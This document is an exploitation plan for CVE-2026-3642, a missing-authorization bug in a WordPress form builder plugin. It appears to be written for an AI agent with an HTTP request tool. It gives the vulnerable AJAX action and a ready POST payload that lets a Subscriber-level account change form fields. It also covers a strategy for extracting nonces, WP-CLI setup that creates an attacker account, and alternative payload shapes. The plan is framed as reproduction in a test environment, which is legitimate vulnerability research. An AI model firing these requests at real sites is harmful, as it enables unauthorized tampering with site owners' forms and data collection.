Exploitation Research Plan: CVE-2026-3642 (e-shot Form Builder)

1. Vulnerability Summary

The e-shot™ form builder plugin (up to version 1.0.2) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, the function eshot_form_builder_update_field_data() is registered via the wp_ajax_ hook but fails to implement any capability checks (e.g., current_user_can()) or CSRF protection (nonces). This allows any authenticated user—even those with the lowest permissions like Subscribers—to modify form field configurations, potentially altering form behavior, visibility, and data collection settings across the site.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: eshot_form_builder_update_field_data
• Method: POST
• Authentication: Required (Subscriber level or higher).
• Vulnerable Parameter(s): Likely parameters include form identifiers and configuration arrays (e.g., form_id, field_id, status, mandatory, is_visible).
• Preconditions: The plugin must be active, and at least one form must exist for modification to be impactful.

3. Code Flow

1. Entry Point: A user sends a POST request to /wp-admin/admin-ajax.php with action=eshot_form_builder_update_field_data.
2. Hook Registration: The plugin registers the handler (likely in the main plugin file or an admin/AJAX inclusion file):

   add_action('wp_ajax_eshot_form_builder_update_field_data', 'eshot_form_builder_update_field_data');
   

3. Execution: WordPress invokes eshot_form_builder_update_field_data().
4. Vulnerable Sink: The function reads data directly from $_POST. Because it lacks current_user_can() and check_ajax_referer(), it proceeds to update the form configuration in the database (likely using update_post_meta() if forms are CPTs, or update_option()).

4. Nonce Acquisition Strategy

According to the vulnerability description, this endpoint lacks nonce verification. Therefore, no nonce is required to exploit the vulnerability.

If a nonce check were present but misconfigured, the strategy would be:

1. Identify where the plugin localizes its AJAX variables (search for wp_localize_script).
2. Create a page with the e-shot form shortcode (likely [eshot_form id="..."]).
3. Navigate to that page as an authenticated user.
4. Extract the nonce from the JS object (e.g., window.eshot_vars.nonce).

Note: For this specific CVE, we proceed assuming no nonce is needed.

5. Exploitation Strategy

Step 1: Authentication

Log in as a Subscriber user to obtain a session cookie.

Step 2: Target Identification

Determine the ID of an existing form. (In a test environment, we will create one).

Step 3: Payload Construction

Construct a POST request to modify a specific field's mandatory status or visibility.

Request Details:

• URL: http://<target>/wp-admin/admin-ajax.php
• Header: Content-Type: application/x-www-form-urlencoded
• Body:

  action=eshot_form_builder_update_field_data&form_id=[ID]&field_id=[FIELD_KEY]&mandatory=1&is_visible=0
  

  (Note: Exact parameter names like field_id, mandatory, and is_visible are inferred based on the function name and description; these will be verified during initial source code inspection by the agent.)

Step 4: Execution

Send the request using the http_request tool.

6. Test Data Setup

1. Install Plugin: Ensure e-shot-form-builder version 1.0.2 is installed.
2. Create Admin Form: As an admin, create a sample form with at least one text field.
   • Example: wp post create --post_type=eshot_form --post_title="Contact Us" --post_status=publish (assuming eshot_form CPT).
3. Create Subscriber:
   • wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
4. Identify Form ID: Use wp post list --post_type=eshot_form to get the target ID.

7. Expected Results

• The AJAX request should return a successful status (likely 200 OK or a JSON success message).
• The targeted form configuration in the database will be updated.
• When an admin views the form builder in the backend, the modified settings (e.g., a field being hidden or marked mandatory) will be reflected.

8. Verification Steps

1. Database Check: Use WP-CLI to inspect the post meta of the modified form:

   wp post meta list [FORM_ID]
   

   Verify that the field data reflects the malicious changes sent in the AJAX request.
2. UI Verification: Log in as admin and navigate to the e-shot Form Builder settings for that form to see if the changes are visible in the editor.

9. Alternative Approaches

If eshot_form_builder_update_field_data requires a specific data structure (like a nested array or JSON string):

• JSON Payload: Try sending the data as a JSON string in a data parameter:
  action=eshot_form_builder_update_field_data&form_id=1&data={"field_1":{"mandatory":"true"}}
• Global Settings: If the function updates global plugin options rather than specific forms, check wp option get for keys starting with eshot_.
• Action Guessing: If the action name is slightly different (e.g., update_form_settings), use grep -r "wp_ajax_" . inside the plugin directory to find the exact hook name.